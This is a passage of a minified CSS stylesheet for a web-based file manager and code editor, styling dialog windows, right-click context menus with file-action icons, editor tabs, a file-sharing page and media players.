button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}.frame-main{top:40px;overflow:auto;bottom:40px;width:100%;position:absolute;}.bindary_box{width:300px;margin:0 auto;padding-bottom:40px;border:1px solid #ddd;border:1px solid rgba(0,0,0,0.2);background:#fff;box-shadow:0 1px 5px rgba(0,0,0,0.4);margin-top:5%;border-radius:4px;}.bindary_box .title{width:100%;height:150px;padding-top:20px;border-radius:5px 4px 0 0;background:#6699cc url("../../../images/common/login.png") -110px 0px;}.bindary_box .ico{width:140px;height:140px;border-radius:100px;overflow:hidden;margin:0 auto;background:rgba(255,255,255,0.4);text-align:center;}.bindary_box .ico img{width:80%;padding-top:15px;}.content_info{text-align:center;}.content_info .name{padding:30px;padding-bottom:2px;font-size:22px;word-wrap:break-word;word-break:break-all;}.content_info .size{color:#888;}.content_info .size i{font-style:normal;color:#aaa;padding-left:10px;}.content_info .btn-group{margin-top:25px;}.content_info .btn_download{width:115px;}.content_info .dropdown-toggle{height:20px;}.content_info .error_tips{padding-top:15px;color:#bbb;}.title_box{height:36px;width:800px;border-bottom:1px solid #ddd;margin:0 auto;margin-top:10px;}.title_box .name{font-size:20px;float:left;}.title_box .size{float:left;line-height:30px;padding-left:10px;}.title_box .size .share_time{padding-left:10px;font-style:normal;color:#aaa;}.title_box .btn-group{float:right;}.title_box .btn-group .btn_download{padding:4px 20px;}.title_box .btn-group .dropdown-toggle{height:16px;height:30px \9;}.content_box,.content_box.markdown_preview{width:900px;margin:30px auto;margin-bottom:30px;}.show_image{text-align:center;}.show_image img{max-width:100%;}#show_pdf{width:100%;margin:0px;background:#ccc;position:absolute;top:0px;bottom:0px;}.show_code{border:1px solid #ddd;box-shadow:0 2px 5px rgba(0,0,0,0.2);width:80%;position:absolute;bottom:0px;left:10%;top:0px;}.show_code .code{padding:0px;margin:0;height:100%;}.show_code .ace_editor{font-size:1em;font-family:Consolas, source-code-pro, Monaco, Menlo, 'Ubuntu Mono', Consolas, monospace, '';}.office_page{bottom:-18px;}.show_office{margin:0;width:100%;height:100%;}.show_swf{width:80%;margin:0 auto;padding-top:30px;height:90%;}.music_player{width:320px;height:400px;box-shadow:0 10px 100px #444;margin-top:12%;}.movie_player{width:660px;height:400px;box-shadow:0 10px 100px #444;margin-top:10%;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.edit_main{color:#444;font-size:1em;width:100%;}.edit_main .edit_tab .tabs .edit_changed a.close{opacity:1.0;filter:alpha(opacity=100);color:#63acff;}.edit_main .edit_tab .tabs .edit_changed .icon-remove:before{content:"\f06a";}.edit_main .edit_tab .tabs .edit_changed a:hover.icon-remove:before{content:"\f057";}.context-menu-list{z-index:1000 !important;box-shadow:0 0px 10px rgba(0,0,0,0.15);border:1px solid #dfdfdf;border-radius:2px;max-height:500px;-webkit-animation-name:inherit;-webkit-animation-duration:inherit;-webkit-animation-timing-function:inherit;-webkit-animation-iteration-count:inherit;}.context-menu-list.code_font_list,.context-menu-list.code_theme_list{overflow-y:auto;overflow-x:hidden;}.context-menu-list.code_font_list .context-menu-item,.context-menu-list.code_theme_list .context-menu-item{padding:0px 10px 0 10px;}.context-menu-list.code_theme_list{width:180px !important;}.context-menu-list .gotoline_input input{padding:4px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;margin-left:15px;}.context-menu-list .gotoline_input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.code_mode_list{position:absolute;z-index:99;top:initial;right:300px;bottom:30px;overflow:auto;display:block;width:180px;height:250px;padding:35px 0 10px 0;}.code_mode_list li{padding:2px 2em;font-size:13px;cursor:pointer;line-height:20px;}.code_mode_list li.list_input{position:fixed;background:#eee;-webkit-transform:translateZ(0);height:30px;width:160px;bottom:292px;padding:4px 0 0 20px;}.code_mode_list li.list_input input{width:110px;padding:4px 10px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.code_mode_list li.list_input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.code_mode_list li.hover{background:#eee;background:#63acff;color:#fff;}.code_mode_list li.selected,.code_mode_list li.selected.hover{background:#63acff;color:#fff;}.edit_tab .tabs{height:29px;width:100%;background:#fff;overflow:hidden;border-bottom:1px solid #ddd;}.edit_tab .tabs .tab{position:relative;height:30px;line-height:30px;color:#666;width:120px;float:left;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;border-right:1px solid #ddd;}.edit_tab .tabs .tab .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.edit_tab .tabs .tab .name img{height:17px;padding-bottom:4px;padding-right:3px;}.edit_tab .tabs .tab .close{float:right;color:#aaa;position:relative;opacity:0.1;filter:alpha(opacity=10);font-size:1.25em;margin-right:3px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:18px;}.edit_tab .tabs .tab .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_tab .tabs .tab .close:active{opacity:1.0;filter:alpha(opacity=100);}.edit_tab .tabs .tab.hover{background:url("../../../images/common/buttons_40.png") 0 10px repeat-x;}.edit_tab .tabs .tab.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit_tab .tabs .tab.this{z-index:20;color:#23B2EC;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#96c7ff', endColorstr='#63acff');background:#63acff;background-image:-webkit-linear-gradient(top,#96c7ff,#63acff);background-image:-moz-linear-gradient(top,#96c7ff,#63acff);background-image:-o-linear-gradient(top,#96c7ff,#63acff);background-image:-ms-linear-gradient(top,#96c7ff,#63acff);background-image:linear-gradient(top,#96c7ff,#63acff);-pie-background:linear-gradient(to top,#96c7ff,#63acff);color:#fff;}.edit_tab .tabs .tab.this .close{opacity:0.1;filter:alpha(opacity=10);color:#eee;}.edit_tab .tabs .tab.this .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_tab .tabs .tab.this .close:active{opacity:1.0;filter:alpha(opacity=100);color:#fff;}.edit_tab .tabs .tab.this.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit_tab .tabs .tab.loading .close{opacity:1.0;filter:alpha(opacity=100);color:#666;border-radius:20px;-webkit-animation:moveCircleLoop 1.4s infinite linear;animation:moveCircleLoop 1.4s infinite linear;}.edit_tab .tabs .tab.loading .close:before{content:"\f110";}.edit_tab .tabs .tab.loading.this .close{color:#ffffff;}.edit_tab .tabs .tab.loading.hover .close{opacity:1.0;filter:alpha(opacity=100);}.edit_tab .tabs .add{float:left;color:#666;line-height:25px;height:30px;border:1px solid #ddd;border-bottom:none;border-radius:3px 3px 0 0;font-size:8px;margin-top:2px;padding:0px 10px;background:#eee;margin-left:3px;}.edit_tab .tabs .add:hover{background:#ddd;}.edit_tab .tabs .add:active{background:#888;color:#ccc;}.draggable-dragging{position:absolute;z-index:99999;color:#fff;height:30px;line-height:30px;opacity:0.6;filter:alpha(opacity=60);width:120px;float:left;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#82bcff', endColorstr='#63acff');background:#63acff;background-image:-webkit-linear-gradient(top,#82bcff,#63acff);background-image:-moz-linear-gradient(top,#82bcff,#63acff);background-image:-o-linear-gradient(top,#82bcff,#63acff);background-image:-ms-linear-gradient(top,#82bcff,#63acff);background-image:linear-gradient(top,#82bcff,#63acff);-pie-background:linear-gradient(to top,#82bcff,#63acff);}.draggable-dragging .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.draggable-dragging .name img{height:17px;padding-bottom:4px;padding-right:3px;}.draggable-dragging .close{float:right;color:#3091ff;position:relative;font-size:1.15em;margin-right:5px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:17px;}.edit_body{width:100%;background:#fff;position:absolute;bottom:0;top:59px;z-index:50;}.edit_body .tabs{width:100%;height:100%;position:absolute;top:0px;bottom:0;}.edit_body .tabs .edit_content{display:none;padding:0;margin:0;height:100%;width:100%;}.edit_body .tabs .edit_content.this{display:block;padding:0;}.edit_body .tabs .tab{padding:10px;display:none;}.edit_body .bottom_toolbar{width:auto;height:25px;z-index:25;position:absolute;bottom:5px;right:0;margin-right:20px;border-radius:4px;background:#fff;opacity:0.8;filter:alpha(opacity=80);border:1px solid #f3f3f3;}.edit_body .bottom_toolbar a{float:left;padding:0 10px;line-height:25px;text-decoration:none;color:#000;}.edit_body .bottom_toolbar a:hover{color:#63acff;}.edit_body .bottom_toolbar a.select{background:#63acff;color:#fff;border-radius:1px;}.edit_body .bottom_toolbar a .font-icon{color:#333;}.introduction{font-size:1em;position:fixed;width:100%;top:64px;left:0;bottom:0;overflow:auto;background:#FFF;}.introduction .intro_left{width:40%;float:left;}.introduction .tips{padding:5px;margin-bottom:0;color:#888;}.introduction .tips p{padding-left:2em;word-break:break-all;line-height:1.2em;}.introduction .tips p:before{content:"\f006";font-family:FontAwesome;padding-right:8px;}.introduction .tips h1{font-size:25px;font-weight:400;border-bottom:1px dashed #ddd;padding:4px 0 10px 5px;margin:5px 0 10px 10px;}.introduction .tips h1 span{border-bottom:3px solid #ddd;padding:8px;color:#666;}.introduction pre{margin-left:15px;padding:5px;color:#56A238;line-height:1.5em;background:#fff;border-bottom:1px solid #eee;}.introduction .intro_right{width:60%;float:left;}.introduction .blue{color:#8BB7D5;}.introduction .blue h1 span{border-color:#8BB7D5;color:#8BB7D5;}.introduction .orange{color:#F27642;}.introduction .orange h1 span{color:#F27642;border-color:#F27642;}.introduction .green{color:#56A238;border-left:1px solid #ddd;}.introduction .green h1 span{color:#56A238;border-color:#56A238;}div.tools{height:28px;z-index:999;border-bottom:1px solid #ddd;overflow:hidden;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;min-width:560px;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}div.tools .disable_mask{width:100%;height:33px;margin-left:-10px;background:#fff;position:absolute;opacity:0.4;filter:alpha(opacity=40);z-index:10;margin-top:-4px;}div.tools .left{float:left;margin:0 0 0 5px;}div.tools .right{float:right;margin:0 5px 0 0;}div.tools a{font-size:1.25em;font-weight:800;float:left;color:#555;font-weight:400;text-decoration:none;padding:0px 9px;line-height:29px;height:29px;}div.tools a .font-icon{font-size:14px;color:#888;}div.tools a .icon-caret-down{padding-left:5px;font-size:1em;color:ccc;}div.tools a:hover{background:#eee;}div.tools a.select,div.tools a.select:hover,div.tools a:active{background:#63acff;color:#fff;}div.tools a.select i.font-icon,div.tools a.select:hover i.font-icon,div.tools a:active i.font-icon{color:#fff;}div.tools .right .btn{padding:1px 7px;margin-right:-1px;height:20px;background:#eee;margin-top:2px;float:right;line-height:20px;}div.tools .line{border-left:1px solid #ccc;margin:5px 4px;float:left;height:16px;}ul.dropbox{color:#666;font-size:1em;position:absolute;top:27px;z-index:1000;margin:0px;}ul.dropbox li{list-style:none;padding:2px 0 2px 10px;line-height:20px;cursor:pointer;}ul.dropbox .lihover,ul.dropbox li.this{background:#63acff;color:#fff;}#fontsize{display:none;left:166px;width:100px;min-width:100px;}#codetheme{display:none;left:173px;}body div#ace_settingsmenu,body 